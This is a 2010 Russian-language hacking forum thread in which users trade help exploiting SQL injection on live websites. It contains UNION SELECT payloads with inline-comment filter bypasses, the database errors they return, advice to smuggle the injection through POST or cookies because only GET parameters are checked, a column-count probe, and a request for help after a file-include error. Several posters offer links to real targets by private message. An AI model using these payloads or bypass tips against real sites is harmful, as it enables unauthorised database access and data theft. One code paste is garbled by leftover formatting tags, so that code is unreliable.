HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14601  
Старый 04.08.2010, 01:12
roddik
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме:
244235

Репутация: 39
По умолчанию

Цитата:
Сообщение от попугай  
попугай said:
заюзай /**/
Спасибо за идею, я правильно понял?

Код:
Code:
http://domain/'/**/union/**/select/**/1,2,3#comment
выводит

Код:
Code:
Database error: Invalid SQL: select * from elementpath where path='/'/**/union/**/select/**/1,2,3'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
Session halted.
 
Ответить с цитированием

  #14602  
Старый 04.08.2010, 02:53
XENON4IK
Участник форума
Регистрация: 22.04.2007
Сообщений: 135
Провел на форуме:
637994

Репутация: 203
Отправить сообщение для XENON4IK с помощью ICQ
По умолчанию

Помогите с анализом кода. в нём есть скуля? если есть как её заюзать?

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])

{

echo[/COLOR][COLOR="#DD0000"]"error sql"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:client.php"[/COLOR][COLOR="#007700"]);

}

if ([/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:client.php?e=1"[/COLOR][COLOR="#007700"]);

else

{

while
([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]))

{

print
[/COLOR][COLOR="#DD0000"]"Здраствуйте уважаемый(ая), "[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

while
(([/COLOR][COLOR="#0000BB"]mysql_num_fields[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])

{

echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];

}

}

}

[/
COLOR][COLOR="#0000BB"]mysql_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]);

}

else

{

[/
COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:error.php"[/COLOR][COLOR="#007700"]);

}



[/COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14603  
Старый 04.08.2010, 07:06
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

больше нет чем да, я просто хз есть ли баги в самой функции preg_match, но их вроде нет
 
Ответить с цитированием

  #14604  
Старый 04.08.2010, 10:16
kfor
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме:
818095

Репутация: 34
Отправить сообщение для kfor с помощью ICQ
По умолчанию

Цитата:
Сообщение от roddik  
roddik said:
Спасибо за идею, я правильно понял?
Код:
Code:
http://domain/'/**/union/**/select/**/1,2,3#comment
выводит
Код:
Code:
Database error: Invalid SQL: select * from elementpath where path='/'/**/union/**/select/**/1,2,3'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
Session halted.
#comment - это ты так коментишь прям в браузере?

Если да, то попробуй так /*

Ещё стоит мне кажется что нибудь перед UNION написать типа

domain/test'/**/union ....
 
Ответить с цитированием

  #14605  
Старый 04.08.2010, 14:39
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме:
1212427

Репутация: 187
Отправить сообщение для Dr.Frank с помощью ICQ
По умолчанию

roddik, попробуй http://domain/'/**/union/**/select/**/1,2,3/*

т.е. в конце комментарий повешай

XENON4IK, т.к. в строчке $sq="select name from user where id ='$id'"; запрашивается просто $id то в строке адреса укажи нормальный id(например 321), а в POST запросе посылай инъекцию, или в COOKIE т.к. и пост и куки перебивают массив GET, а проверка идет только на ГЕТ.

Seravin, где ты вообще preg_replace увидел?
 
Ответить с цитированием

  #14606  
Старый 04.08.2010, 21:12
tompson_
Новичок
Регистрация: 01.07.2009
Сообщений: 9
Провел на форуме:
96770

Репутация: 1
По умолчанию

есть скуля вида

Цитата:
Сообщение от None  
SELECT * FROM table WHERE id='123[inj]'
последняя кавычка учитывается в запросе в любом случае и вариант

[inj] = ' union select 1,2,3--

не прокатывает. не только --, но и /* /**/ ; никакие комментарии не работают. в итоге если

[inj] = 'order by 1--

выводит

Цитата:
Сообщение от None  
SELECT * FROM table WHERE id='123' order by 1--'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
я подобрал количество столбцов запросом, где

[inj] = '+union+select+1,2,3,'

получилось

Цитата:
Сообщение от None  
SELECT * FROM table WHERE id='123' union select 1,2,3,''
но в скрипте идет следующий запрос, который выдает ошибку

Цитата:
Сообщение от None  
UPDATE table SET views=views+1 WHERE id='123' union select 1,2,3,''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,''' at line 1
можно ли обойти UPDATE и как это сделать?
 
Ответить с цитированием

  #14607  
Старый 04.08.2010, 22:02
-PRIVAT-
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме:
344917

Репутация: 17
По умолчанию

Линк на скулю дай.
 
Ответить с цитированием

  #14608  
Старый 04.08.2010, 22:33
roddik
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме:
244235

Репутация: 39
По умолчанию

Цитата:
Сообщение от Dr.Frank  
Dr.Frank said:
roddik, попробуй http://domain/'/**/union/**/select/**/1,2,3/*
т.е. в конце комментарий повешай
Попробовал в дбмс это все вбить, оказалось, что подобные комментарии заменяются на пустую строку - получается вида unionselect1,2, то есть одним словом, так что такие манипуляции с комментариями не сработают. Могу дать линк в ПМ, единственное, чего я хочу - это чтобы мне потом кто-то объяснил, как это можно было раскрутить
 
Ответить с цитированием

  #14609  
Старый 04.08.2010, 22:37
kfor
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме:
818095

Репутация: 34
Отправить сообщение для kfor с помощью ICQ
По умолчанию

Цитата:
Сообщение от roddik  
roddik said:
Попробовал в дбмс это все вбить, оказалось, что подобные комментарии заменяются на пустую строку - получается вида unionselect1,2, то есть одним словом, так что такие манипуляции с комментариями не сработают. Могу дать линк в ПМ, единственное, чего я хочу - это чтобы мне потом кто-то объяснил, как это можно было раскрутить
Это не коментарии, а один из способов разделения запроса. Скорее всего там стоит прег реплейс который заменяет ненужные символы.
 
Ответить с цитированием

  #14610  
Старый 04.08.2010, 22:53
AGIMI777
Guest
Сообщений: n/a
Провел на форуме:
22706

Репутация: 0
По умолчанию

Fatal error: require() [function.require]: Failed opening required 'info//var/www/web6/web/index.php' (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/web6/web/index.php on line 45

что далше????????????
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT.XYZ